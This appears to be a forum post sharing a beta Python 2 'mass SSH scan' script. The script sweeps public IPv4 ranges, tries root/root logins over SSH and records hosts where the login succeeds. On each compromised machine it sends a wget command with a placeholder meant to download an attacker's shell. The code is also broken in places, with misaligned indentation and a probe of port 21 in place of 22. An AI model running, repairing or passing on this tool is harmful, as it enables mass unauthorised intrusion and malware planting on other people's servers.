mass ssh scan/login test. beta of what im working on.

import sys
import random
import socket
import getpass
import pxssh
import getpass
print "\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
print   " |---MASS SSH SCAN BY WHO?? me---|"
print   " +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
if (len(sys.argv) > 2):
    print "--mass-scan"
elif (len(sys.argv) < 2):
    print "--mass-scan"
else:
    if (sys.argv[1] == "--mass-scan"):
        STRTIP = raw_input("X.0.0.0 Start at?: ")
        for p in xrange(int(STRTIP),255):
            #print str(p) + "." + str(q) + "." + str(r) + "." + str(s)
            for q in xrange(0,255):
                #print str(p) + "." + str(q) + "." + str(r) + "." + str(s)
                for r in xrange(4,255):
                    #print str(p) + "." + str(q) + "." + str(r) + "." + str(s)
                    for s in xrange(0,255):
                        ip = str(p) + "." + str(q) + "." + str(r) + "." + str(s)
                        if (p==10 or p==127):
                            #Private IP and Loopback IP
                            ip = "null"
                        elif (p == 100 and q >= 64 and q <= 127):
                            #Shared Address Space
                            ip = "null"
                        elif (p >= 0 and p <= 15 and q >= 0 and q <= 20):
                            #STARTS ON 15.20.X.X
                            ip = "null"
                        elif (p == 169 and q == 254):
                            # APIPA
                            ip = "null"
                        elif (p == 172 and q >= 16 and q <= 31):
                            #Private IP  172.16.0.0 - 172.31.255.255
                            ip = "null"
                        elif (p == 192 and q == 0 and r == 0):
                            #192.0.0.0/24        # RFC6890: IETF Protocol Assignments
                            ip = "null"
                        elif (p == 192 and q == 0 and r == 2):
                            #192.0.2.0/24        # RFC5737: Documentation (TEST-NET-1)
                            ip = "null"
                        elif (p == 192 and q == 88 and r == 99):
                            #192.88.99.0/24      # RFC3068: 6to4 Relay Anycast
                            ip = "null"
                        elif (p == 192 and q == 168):
                            #RFC1918: Private-Use
                            ip = "null"
                        elif (p == 192 and q == 18):
                            # RFC2544: Benchmarking
                            ip = "null"
                        elif (p == 192 and q == 19):
                            # RFC2544: Benchmarking
                            ip = "null"
                        elif (p == 192 and q == 51 and r == 100):
                            # RFC5737: Documentation (TEST-NET-2)
                            ip = "null"
                        elif (p == 203 and r == 113):
                            # RFC5737: Documentation (TEST-NET-2)
                            ip = "null"
                        elif (p >= 224):
                            # RFC5737: Reserved D & E
                            ip = "null"
                        if (ip != "null"):
                            print ip
                            try:
                                for port in range (21, 22):
                                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                                sock.settimeout(0.5)
                                    result = sock.connect_ex((ip, port))

                                    if result == 0:
                                    print "SSH FOUND {}".format(ip, port)
                                    try:
                                        f = open("SSH.txt","a")
                                            f.write(ip)
                                            f.write("\n")
                                            f.close()
                                        s = pxssh.pxssh()
                                        hostname = ip
                                        username = ('root')
                                        password = ('root')
                                        s.login(hostname, username, password)
                                        s.sendline('wget ~yourshell or some shit~')
                                        s.prompt()
                                        f = open("root_logins.txt","a")
                                        f.write(ip)
                                        f.write("\n")
                                        f.close()
                                        s.logout()
                                    except pxssh.ExceptionPxssh as e:
                                        print("ssh failed on login.")
                                        print(e)
                                sock.close()
                            except socket.error:
                                print "Couldn't connect to server"
                            except socket.gaierror:
                                print 'Hostname could not be resolved. Exiting'